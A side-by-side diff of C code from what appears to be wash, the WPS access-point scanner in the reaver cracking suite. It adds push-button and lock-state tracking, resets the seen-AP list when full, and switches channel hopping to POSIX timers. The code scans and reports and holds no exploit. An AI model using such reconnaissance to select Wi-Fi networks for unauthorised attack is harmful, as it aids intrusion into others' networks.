59 | SEEN_FLAG_LOCKED = 8, | |
60 | SEEN_FLAG_WPS_ACTIVE = 16, | |
58 | 61 | }; |
59 | 62 | static unsigned seen_count; |
60 | 63 | static int list_insert(char *bssid) { |
63 | 66 | str2mac(bssid, mac); |
64 | 67 | for(i=0; i<seen_count; i++) |
65 | 68 | if(!memcmp(seen_list[i].mac, mac, 6)) return i; |
66 | if(seen_count >= MAX_APS) return -1; | |
69 | if(seen_count >= MAX_APS) { | |
70 | memset(seen_list, 0, sizeof seen_list); | |
71 | seen_count = 0; | |
72 | } | |
67 | 73 | memcpy(seen_list[seen_count].mac, mac, 6); |
68 | 74 | return seen_count++; |
75 | } | |
76 | static int is_pbc(struct libwps_data *wps) { | |
77 | int active = 0; | |
78 | if (*wps->selected_registrar && atoi(wps->selected_registrar) == 1 && *wps->device_password_id && atoi(wps->device_password_id) == 4) { | |
79 | active = 1; | |
80 | } | |
81 | return active; | |
82 | } | |
83 | static void reset_flag_complete_printed(int x) { | |
84 | seen_list[x].flags &= ~SEEN_FLAG_COMPLETE; | |
85 | seen_list[x].flags &= ~SEEN_FLAG_PRINTED; | |
86 | } | |
87 | static void set_flag_wps(int x, int active, enum seen_flags flag) { | |
88 | if (seen_list[x].flags & flag) { | |
89 | if (!active) { | |
90 | reset_flag_complete_printed(x); | |
91 | seen_list[x].flags &= ~flag; | |
92 | } | |
93 | } else { | |
94 | if (active) { | |
95 | reset_flag_complete_printed(x); | |
96 | seen_list[x].flags |= flag; | |
97 | } | |
98 | } | |
69 | 99 | } |
70 | 100 | static int was_printed(char* bssid) { |
71 | 101 | int x = list_insert(bssid); |
80 | 110 | int x = list_insert(bssid); |
81 | 111 | if(x >= 0 && x < MAX_APS) seen_list[x].flags |= SEEN_FLAG_COMPLETE; |
82 | 112 | } |
83 | static int is_done(char *bssid) { | |
113 | static int is_done(char *bssid, struct libwps_data *wps) { | |
84 | 114 | int x = list_insert(bssid); |
85 | if(x >= 0 && x < MAX_APS) return seen_list[x].flags & SEEN_FLAG_COMPLETE; | |
115 | if(x >= 0 && x < MAX_APS) { | |
116 | if(wps) { | |
117 | set_flag_wps(x, is_pbc(wps), SEEN_FLAG_PBC); | |
118 | set_flag_wps(x, wps->locked == WPSLOCKED, SEEN_FLAG_LOCKED); | |
119 | set_flag_wps(x, 1, SEEN_FLAG_WPS_ACTIVE); | |
120 | } else { | |
121 | set_flag_wps(x, 0, SEEN_FLAG_WPS_ACTIVE); | |
122 | } | |
123 | return seen_list[x].flags & SEEN_FLAG_COMPLETE; | |
124 | } | |
86 | 125 | return 1; |
87 | 126 | } |
88 | 127 | static int should_probe(char *bssid) { |
328 | 367 | { |
329 | 368 | act.sa_handler = sigalrm_handler; |
330 | 369 | sigaction (SIGALRM, &act, 0); |
331 | ualarm(CHANNEL_INTERVAL, CHANNEL_INTERVAL); | |
370 | ||
371 | /* Create the timer. */ | |
372 | struct sigevent sev; | |
373 | struct itimerspec its; | |
374 | sev.sigev_notify = SIGEV_SIGNAL; | |
375 | sev.sigev_signo = SIGALRM; | |
376 | sev.sigev_value.sival_ptr = &globule->timer_id; | |
377 | timer_create(CLOCK_REALTIME, &sev, &globule->timer_id); | |
378 | /* Start the timer. */ | |
379 | its.it_value.tv_sec = CHANNEL_INTERVAL / 1000000; | |
380 | its.it_value.tv_nsec = (CHANNEL_INTERVAL % 1000000) * 1000; | |
381 | its.it_interval.tv_sec = its.it_value.tv_sec; | |
382 | its.it_interval.tv_nsec = its.it_value.tv_nsec; | |
383 | timer_settime(globule->timer_id, 0, &its, NULL); | |
384 | ||
332 | 385 | int startchan = 1; |
333 | 386 | if(get_wifi_band() == AN_BAND) |
334 | 387 | startchan = 34; |
429 | 482 | |
430 | 483 | if(target != NULL && channel_changed == 0) |
431 | 484 | { |
432 | ualarm(0, 0); | |
485 | /* Stop the timer. */ | |
486 | struct itimerspec its = {0}; | |
487 | timer_settime(globule->timer_id, 0, &its, NULL); | |
433 | 488 | change_channel(channel); |
434 | 489 | channel_changed = 1; |
435 | 490 | } |
438 | 493 | wps_parsed = parse_wps_parameters(packet, header->len, wps); |
439 | 494 | if(is_beacon || !get_ap_vendor(bssid)) set_ap_vendor(bssid); |
440 | 495 | } |
441 | if(!is_done(bssid) && (get_channel() == channel || source == PCAP_FILE)) | |
496 | if((get_channel() == channel || source == PCAP_FILE) && !is_done(bssid, wps_parsed ? wps : 0)) | |
442 | 497 | { |
443 | 498 | if(is_beacon && |
444 | 499 | mode == SCAN && |
449 | 504 | probe_sent = 1; |
450 | 505 | } |
451 | 506 | |
452 | if(!json_mode && (!was_printed(bssid) && (wps_active(wps) || show_all_aps == 1))) | |
507 | if(!json_mode && ((wps_active(wps) || show_all_aps == 1) && !was_printed(bssid))) | |
453 | 508 | { |
454 | 509 | if(wps_active(wps)) switch(wps->locked) |
455 | 510 | { |
474 | 529 | |
475 | 530 | if(wps_active(wps)) |
476 | 531 | { |
532 | char wps_version[8]; | |
533 | snprintf(wps_version, sizeof(wps_version), "%d.%d", (wps->version >> 4), (wps->version & 0x0F)); | |
534 | if (is_pbc(wps)) { | |
535 | strcpy(wps_version, "PBC"); | |
536 | } | |
477 | 537 | if (show_crack_progress) |
478 | fprintf(stdout, "%17s %3d %.2d %d.%d %3s %8s %5s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, vendor ? vendor : " ", crack_progress ? crack_progress : "-", sane_ssid); | |
538 | fprintf(stdout, "%17s %3d %.2d %s %3s %8s %5s %s\n", bssid, channel, rssi, wps_version, lock_display, vendor ? vendor : " ", crack_progress ? crack_progress : "-", sane_ssid); | |
479 | 539 | else |
480 | fprintf(stdout, "%17s %3d %.2d %d.%d %3s %8s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, vendor ? vendor : " ", sane_ssid); | |
540 | fprintf(stdout, "%17s %3d %.2d %s %3s %8s %s\n", bssid, channel, rssi, wps_version, lock_display, vendor ? vendor : " ", sane_ssid); | |
481 | 541 | } |
482 | 542 | else |
483 | 543 | { |